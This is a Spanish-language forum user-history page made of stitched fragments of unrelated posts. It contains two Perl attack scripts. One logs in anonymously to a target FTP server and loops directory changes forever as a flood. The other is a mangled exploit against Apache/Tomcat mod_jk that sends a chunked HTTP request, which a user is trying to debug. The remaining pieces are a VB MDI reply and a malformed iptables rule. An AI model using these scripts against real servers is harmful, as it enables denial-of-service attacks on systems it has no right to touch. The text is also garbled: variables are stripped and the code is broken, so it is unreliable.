Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúName "main::perl" used only once: possible typo at roto2.pl line 4.
Use of uninitialized value $ARGV[0] in string at roto2.pl line 4.
Use of uninitialized value $ARGV[0] in concatenation (.) or string at roto2.pl line 4
Use of uninitialized value $perl in concatenation (.) or string at roto2.pl line 4.
Cannot connect to Host
#!/usr/bin/perl -w
use Net::FTP;
$ftp=Net::FTP->new("$ARGV[0]",Debug=>0) || die "Cannot connect to Host $ARGV[0]\n Usage: $perl script_name.pl target_ip\n";
$ftp -> login("anonymous","anonymous") || die "Could not Login...Retry";
while(1)
{
#this loop runs infinitely
$ftp -> cwd();
}
$ftp->quit;
Cita de: xassiz en 15 Junio 2010, 15:21 PM= IO::Socket::INET->new(
:S
Como pones el igual así solo? u.u
syntax error at pruebaa.pl line 17, near "="
#!/usr/bin/perl -w
use IO::Socket;
"= Apache 1.3.x, Tomcat 4.x Server, mod_jk 1.2 using Apache Jserv
Protocol 1.3";
unless (@ARGV == 1) {
print "\n By Sapient2003\n";
die "usage: -bash <host to exploit>\n";
}
print "\n By Sapient2003\n";
"= GET / HTTP/1.0\nHost: [0]\nTransfer-ENcoding:
Chunked\n53636f7474";
= IO::Socket::INET->new( [Esta es la linea)))
PeerAddr => [0],
PeerPort => 69,
Proto => "udp",
) or die "Can't find host [0]\n";
print ;
print "Attempted to exploit [0]\n";
close();
Cita de: *PsYkE1* en 15 Mayo 2010, 21:38 PM
¿Ya probaste poner un fomulario MDI? (Los Formularios MDI son para estos casos)
Salu2!
iptables A INPUT -p tcp tcpflags SYN, RST j DROP